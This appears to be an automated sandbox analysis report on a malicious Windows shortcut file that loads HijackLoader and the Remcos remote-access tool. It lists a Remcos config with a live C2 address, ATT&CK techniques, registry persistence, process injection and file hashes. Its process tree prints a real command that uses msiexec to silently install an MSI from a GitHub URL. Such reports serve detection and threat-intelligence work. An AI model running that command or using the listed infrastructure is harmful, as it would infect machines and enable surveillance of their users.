hijackloader | 5c2213dfe07175eabf7ae8950609569f93bae26019a7c84741b611a96784e1a8

Analysis

max time kernel
149s
max time network
158s
platform
windows10-2004_x64
resource
win10v2004-20250217-en
resource tags

arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
submitted
21/02/2025, 03:07

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General

Target

5c2213dfe07175eabf7ae8950609569f93bae26019a7c84741b611a96784e1a8.lnk
Size

1KB
MD5

8dbf4ab21c88acc16ba80e2e7e38b7a1
SHA1

d7799dcface5716afa2897e0ab29bd3dc1293f7c
SHA256

5c2213dfe07175eabf7ae8950609569f93bae26019a7c84741b611a96784e1a8
SHA512

01244a05f3d0c230a1b210168f31e8bbb504dbf064c1c9a4ac8095007469b04f78a343cd5d1f2106e849c82d27a2bf66c28e0cfc5b7364c227950459cb864fed

Score

10^/10

hijackloader remcos v2 discovery loader persistence rat

Malware Config

Extracted

Family

remcos

Botnet

185.157.162.126:1995

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
qsdazeazd-EL00KX
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Detects HijackLoader (aka IDAT Loader) 1 IoCs

resource	yara_rule
behavioral2/files/0x000200000001e922-37.dat	family_hijackloader

HijackLoader
HijackLoader is a multistage loader first seen in 2023.
loader hijackloader
Hijackloader family
hijackloader
Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
4596	EHttpSrv.exe

Loads dropped DLL 3 IoCs

pid	Process
4596	EHttpSrv.exe
4596	EHttpSrv.exe
4620	EHttpSrv.exe

Use of msiexec (install) with remote resource 1 IoCs

pid	Process
4876	msiexec.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\EHttpSrv = "\"C:\\Users\\Admin\\AppData\\Local\\IXXinstall\\EHttpSrv.exe\""	msiexec.exe

Blocklisted process makes network request 2 IoCs

flow	pid	Process
10	1752	msiexec.exe
15	1752	msiexec.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
14	raw.githubusercontent.com
15	raw.githubusercontent.com

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 4596 set thread context of 1716	4596	EHttpSrv.exe	91
PID 1716 set thread context of 4620	1716	cmd.exe	94

Drops file in Windows directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\MSIAE51.tmp	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIB19E.tmp	msiexec.exe
File created	C:\Windows\Installer\e57b132.msi	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EHttpSrv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EHttpSrv.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
1752	msiexec.exe
1752	msiexec.exe
4596	EHttpSrv.exe
1716	cmd.exe
1716	cmd.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
4596	EHttpSrv.exe
1716	cmd.exe
1716	cmd.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4876	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4876	msiexec.exe
Token: SeSecurityPrivilege	1752	msiexec.exe
Token: SeCreateTokenPrivilege	4876	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	4876	msiexec.exe
Token: SeLockMemoryPrivilege	4876	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4876	msiexec.exe
Token: SeMachineAccountPrivilege	4876	msiexec.exe
Token: SeTcbPrivilege	4876	msiexec.exe
Token: SeSecurityPrivilege	4876	msiexec.exe
Token: SeTakeOwnershipPrivilege	4876	msiexec.exe
Token: SeLoadDriverPrivilege	4876	msiexec.exe
Token: SeSystemProfilePrivilege	4876	msiexec.exe
Token: SeSystemtimePrivilege	4876	msiexec.exe
Token: SeProfSingleProcessPrivilege	4876	msiexec.exe
Token: SeIncBasePriorityPrivilege	4876	msiexec.exe
Token: SeCreatePagefilePrivilege	4876	msiexec.exe
Token: SeCreatePermanentPrivilege	4876	msiexec.exe
Token: SeBackupPrivilege	4876	msiexec.exe
Token: SeRestorePrivilege	4876	msiexec.exe
Token: SeShutdownPrivilege	4876	msiexec.exe
Token: SeDebugPrivilege	4876	msiexec.exe
Token: SeAuditPrivilege	4876	msiexec.exe
Token: SeSystemEnvironmentPrivilege	4876	msiexec.exe
Token: SeChangeNotifyPrivilege	4876	msiexec.exe
Token: SeRemoteShutdownPrivilege	4876	msiexec.exe
Token: SeUndockPrivilege	4876	msiexec.exe
Token: SeSyncAgentPrivilege	4876	msiexec.exe
Token: SeEnableDelegationPrivilege	4876	msiexec.exe
Token: SeManageVolumePrivilege	4876	msiexec.exe
Token: SeImpersonatePrivilege	4876	msiexec.exe
Token: SeCreateGlobalPrivilege	4876	msiexec.exe
Token: SeRestorePrivilege	1752	msiexec.exe
Token: SeTakeOwnershipPrivilege	1752	msiexec.exe
Token: SeRestorePrivilege	1752	msiexec.exe
Token: SeTakeOwnershipPrivilege	1752	msiexec.exe
Token: SeRestorePrivilege	1752	msiexec.exe
Token: SeTakeOwnershipPrivilege	1752	msiexec.exe
Token: SeRestorePrivilege	1752	msiexec.exe
Token: SeTakeOwnershipPrivilege	1752	msiexec.exe
Token: SeRestorePrivilege	1752	msiexec.exe
Token: SeTakeOwnershipPrivilege	1752	msiexec.exe
Token: SeRestorePrivilege	1752	msiexec.exe
Token: SeTakeOwnershipPrivilege	1752	msiexec.exe
Token: SeRestorePrivilege	1752	msiexec.exe
Token: SeTakeOwnershipPrivilege	1752	msiexec.exe
Token: SeRestorePrivilege	1752	msiexec.exe
Token: SeTakeOwnershipPrivilege	1752	msiexec.exe
Token: SeRestorePrivilege	1752	msiexec.exe
Token: SeTakeOwnershipPrivilege	1752	msiexec.exe
Token: SeRestorePrivilege	1752	msiexec.exe
Token: SeTakeOwnershipPrivilege	1752	msiexec.exe
Token: SeRestorePrivilege	1752	msiexec.exe
Token: SeTakeOwnershipPrivilege	1752	msiexec.exe
Token: SeRestorePrivilege	1752	msiexec.exe
Token: SeTakeOwnershipPrivilege	1752	msiexec.exe
Token: SeRestorePrivilege	1752	msiexec.exe
Token: SeTakeOwnershipPrivilege	1752	msiexec.exe
Token: SeRestorePrivilege	1752	msiexec.exe
Token: SeTakeOwnershipPrivilege	1752	msiexec.exe
Token: SeRestorePrivilege	1752	msiexec.exe
Token: SeTakeOwnershipPrivilege	1752	msiexec.exe
Token: SeRestorePrivilege	1752	msiexec.exe
Token: SeTakeOwnershipPrivilege	1752	msiexec.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2880 wrote to memory of 4876	2880	cmd.exe	87
PID 2880 wrote to memory of 4876	2880	cmd.exe	87
PID 1752 wrote to memory of 4596	1752	msiexec.exe	90
PID 1752 wrote to memory of 4596	1752	msiexec.exe	90
PID 1752 wrote to memory of 4596	1752	msiexec.exe	90
PID 4596 wrote to memory of 1716	4596	EHttpSrv.exe	91
PID 4596 wrote to memory of 1716	4596	EHttpSrv.exe	91
PID 4596 wrote to memory of 1716	4596	EHttpSrv.exe	91
PID 4596 wrote to memory of 1716	4596	EHttpSrv.exe	91
PID 1716 wrote to memory of 4620	1716	cmd.exe	94
PID 1716 wrote to memory of 4620	1716	cmd.exe	94
PID 1716 wrote to memory of 4620	1716	cmd.exe	94
PID 1716 wrote to memory of 4620	1716	cmd.exe	94
PID 1716 wrote to memory of 4620	1716	cmd.exe	94

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\5c2213dfe07175eabf7ae8950609569f93bae26019a7c84741b611a96784e1a8.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2880
- C:\Windows\System32\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /i https://github.com/leinchchanceleinch/jik/raw/refs/heads/main/d.msi /qn
  2⤵
  - Use of msiexec (install) with remote resource
  - Suspicious use of AdjustPrivilegeToken
  PID:4876

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Adds Run key to start application
- Blocklisted process makes network request
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1752
- C:\Users\Admin\AppData\Local\IXXinstall\EHttpSrv.exe
  "C:\Users\Admin\AppData\Local\IXXinstall\EHttpSrv.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:4596
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\SysWOW64\cmd.exe
    3⤵
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:1716
  - - C:\Users\Admin\AppData\Local\IXXinstall\EHttpSrv.exe
      C:\Users\Admin\AppData\Local\IXXinstall\EHttpSrv.exe
      4⤵
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      PID:4620

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Config.Msi\e57b131.rbs

Filesize
10KB

MD5
deba66d39918f8eab39b3fe9b4ab22e0

SHA1
a7a52445ca459c8571fa742a080532f3d160d24f

SHA256
de29a069fa8571fa059982417a4cb34d1e973f7bb40d707970b3f06bd5198fd6

SHA512
1053579aecf3c1173dea7635af5e85100e9e26486b350d5c0f7254b72a9b44e3b9645ba8ac498c9178df154233510eddf53108ee67c0f86e05d2a594bc90456d

Download Submit
C:\Users\Admin\AppData\Local\IXXinstall\EHttpSrv.exe

Filesize
20KB

MD5
9329ba45c8b97485926a171e34c2abb8

SHA1
20118bc0432b4e8b3660a4b038b20ca28f721e5c

SHA256
effa6fcb8759375b4089ccf61202a5c63243f4102872e64e3eb0a1bdc2727659

SHA512
0af06b5495142ba0632a46be0778a7bd3d507e9848b3159436aa504536919abbcacd8b740ef4b591296e86604b49e0642fee2c273a45e44b41a80f91a1d52acc

Download Submit
C:\Users\Admin\AppData\Local\IXXinstall\MFC80U.DLL

Filesize
1.0MB

MD5
686b224b4987c22b153fbb545fee9657

SHA1
684ee9f018fbb0bbf6ffa590f3782ba49d5d096c

SHA256
a2ac851f35066c2f13a7452b7a9a3fee05bfb42907ae77a6b85b212a2227fc36

SHA512
44d65db91ceea351d2b6217eaa27358dbc2ed27c9a83d226b59aecb336a9252b60aec5ce5e646706a2af5631d5ee0f721231ec751e97e47bbbc32d5f40908875

Download Submit
C:\Users\Admin\AppData\Local\IXXinstall\audiogram.tif

Filesize
877KB

MD5
5124236fd955464317fbb1f344a1d2f2

SHA1
fe3a91e252f1dc3c3b4980ade7157369ea6f5097

SHA256
ed1389002cdf96c9b54de35b6e972166ee3296d628943fd594a383e674c5cba6

SHA512
2b2ac23244b16f936ef9a4049586f58c809fcc4391a56390cc5db2e8d96140001e0b977680ed1d8b0ab9c410e865a880209e22add8d42e563dc40bc91236b252

Download Submit
C:\Users\Admin\AppData\Local\IXXinstall\http_dll.dll

Filesize
1.9MB

MD5
fe47e255c704b20cb20c8ed93ec94d47

SHA1
ed7d26624b3cfaa72cf7d3bc59d26845fb84247a

SHA256
b0d665cb466e10ef90e1d79a39cb655ebe785d0cefc074f7a22d04936b681879

SHA512
55813a4b755773f98991b47294fed03b23d5bee9af3ef98727b7345882fe0d9976546f46847fbc30119e7c62ce7ee8ae21f54065922041cf8d42364e607bc1c0

Download Submit
C:\Users\Admin\AppData\Local\Temp\44257aae

Filesize
1.0MB

MD5
2c88e54887a6239fb03e58313968163a

SHA1
d5ce26e1cb84ffb9ae5cc69df850fb22a4078da9

SHA256
e707106ca615bb8d1185ccb40ce8f17e989fae54247c884925518edeb8756685

SHA512
eeae75c2cdc26a453aedca77bc872e2f9f30ec7f6c01ad7572c3be9b39bd71559dd5edfa8cf6cd446ff3915cb099c179f15d5773732adb77343da7e47c41fc9e

Download Submit
C:\Windows\Installer\MSIAE51.tmp

Filesize
2.9MB

MD5
5297df4268c31105df6d2fc39437d294

SHA1
df8d187c76abf86b8c7f3061723232424c6a7f2c

SHA256
696ed13d119273602770a67ac8015544cabba93a8316816e4fbdda5794b35399

SHA512
5fdd3cc4dfa1962a769138fece7a1ca9262d6503fe3a10838b6356d8fbe7081f841beb30bffbf0cc4966f863e63d420c05f9f903c7621da6130fea2e7ed85ad5

Download Submit
memory/1716-42-0x00007FFBF58D0000-0x00007FFBF5AC5000-memory.dmp

Filesize
2.0MB

Download
memory/1716-44-0x0000000075790000-0x000000007590B000-memory.dmp

Filesize
1.5MB

Download
memory/4596-38-0x0000000075790000-0x000000007590B000-memory.dmp

Filesize
1.5MB

Download
memory/4596-39-0x0000000075790000-0x000000007590B000-memory.dmp

Filesize
1.5MB

Download
memory/4620-48-0x00007FFBF58D0000-0x00007FFBF5AC5000-memory.dmp

Filesize
2.0MB

Download
memory/4620-57-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/4620-49-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/4620-52-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/4620-53-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/4620-55-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/4620-56-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/4620-46-0x0000000073C90000-0x0000000074EE4000-memory.dmp

Filesize
18.3MB

Download
memory/4620-58-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/4620-59-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/4620-60-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/4620-61-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/4620-62-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/4620-63-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download